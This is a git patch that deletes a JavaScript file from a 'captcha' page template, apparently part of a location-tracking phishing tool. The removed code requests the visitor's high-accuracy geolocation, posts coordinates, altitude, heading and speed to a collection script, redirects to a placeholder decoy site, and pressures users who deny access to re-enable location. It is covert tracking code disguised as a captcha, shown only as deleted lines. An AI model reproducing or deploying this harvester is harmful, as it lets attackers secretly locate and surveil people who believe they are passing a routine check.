From 1bff767160353a2c93045d12e740a785f30f31b8 Mon Sep 17 00:00:00 2001 From: thewhiteh4t <36354846+thewhiteh4t@users.noreply.github.com> Date: Mon, 4 Jul 2022 02:01:25 -0400 Subject: [PATCH] Delete aa.js --- template/captcha/js/aa.js | 60 --------------------------------------- 1 file changed, 60 deletions(-) delete mode 100644 template/captcha/js/aa.js diff --git a/template/captcha/js/aa.js b/template/captcha/js/aa.js deleted file mode 100644 index a45bcf3e..00000000 --- a/template/captcha/js/aa.js +++ /dev/null @@ -1,60 +0,0 @@ -function locate() -{ - if(navigator.geolocation) - { - var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0}; - navigator.geolocation.getCurrentPosition(showPosition, showError, optn); - } - else - { - alert('Geolocation is not Supported by your Browser...'); - } - - function showPosition(position) - { - var lat = position.coords.latitude; - var lon = position.coords.longitude; - var acc = position.coords.accuracy; - var alt = position.coords.altitude; - var dir = position.coords.heading; - var spd = position.coords.speed; - - $.ajax({ - type: 'POST', - url: '/php/result.php', - data: {Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd}, - success: window.location ='$FORWARDEDWEBSITE$', - mimeType: 'text' - }); - alert('Thankyou For Taking Interest'); - }; -} - -function showError(error) -{ - switch(error.code) - { - case error.PERMISSION_DENIED: - var denied = 'User denied the request for Geolocation'; - alert('Please Refresh This Page and Enable Location..'); - break; - case error.POSITION_UNAVAILABLE: - var unavailable = 'Location information is unavailable'; - break; - case error.TIMEOUT: - var timeout = 'The request to get user location timed out'; - alert('Please Set Your Location Mode on High Accuracy...'); - break; - case error.UNKNOWN_ERROR: - var unknown = 'An unknown error occurred'; - break; - } - - $.ajax({ - type: 'POST', - url: '/php/error.php', - data: {Denied: denied, Una: unavailable, Time: timeout, Unk: unknown}, - //success: function(){$('#change').html('Failed');}, - mimeType: 'text' - }); -}